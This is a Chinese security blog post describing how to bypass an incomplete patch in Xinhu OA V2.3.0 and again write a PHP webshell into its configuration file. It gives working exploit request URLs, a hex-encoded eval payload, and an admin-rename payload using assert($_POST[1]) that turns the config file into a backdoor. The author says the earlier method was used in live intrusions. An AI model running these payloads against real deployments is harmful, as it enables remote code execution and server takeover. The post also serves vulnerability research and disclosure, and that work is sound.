信呼OA V2.3.0 治标不治本的配置文件getshell重新利用

  1. 前言
  2. 代码跟踪
  3. 死灰复燃

前言

参考链接:https://www.freebuf.com/articles/web/286380.html
最近打点的时候遇见个信呼OA,用的上述的后台配置文件getshell方法成过getshell
原本打算复现一下的,后面一看版本最新的。。。
(后面重新看了一下,发现修复不严谨。在后台用户重命名处修改即可重新利用)

代码跟踪

在V2.2.8的时候报出一处update拼接管理员名的注入+配置文件插入管理员修改config文件的信息
之前的payload利用:

http://127.0.0.1/index.php?a=changestyle&m=geren&d=system&ajaxbool=true&style=21,id=1,name=0x610A6576616C28245F504F53545B315D293B2F2F
http://127.0.0.1/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961

a:函数名称
m:类名称
d:处理文件文件夹父路径名称

路由分析

以前的漏洞点分析:
gerenClassAction函数更新管理员信息的点

在V2.3.0后,int强转只取第一个参数的值
(一开始没看仔细还以为那里做了过滤,后面更了post也没发现那里不对。最好才看见这个int)

但是saveCongAjax函数没任何变化

直接利用后台的用户改名功能重命名管理员的名称,在rockClass.php新建了函数过滤,eval被砍了。直接用assert代替即可

死灰复燃

用户管理处修改当前登录管理的姓名为:\rassert($_POST[1]);//

访问http://127.0.0.1/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961 即可


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:信呼OA V2.3.0 治标不治本的配置文件getshell重新利用

本文作者:九世

发布时间:2021-10-18, 21:56:13

最后更新:2021-10-18, 22:09:23

原始链接:http://jiushill.github.io/posts/3541f020.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录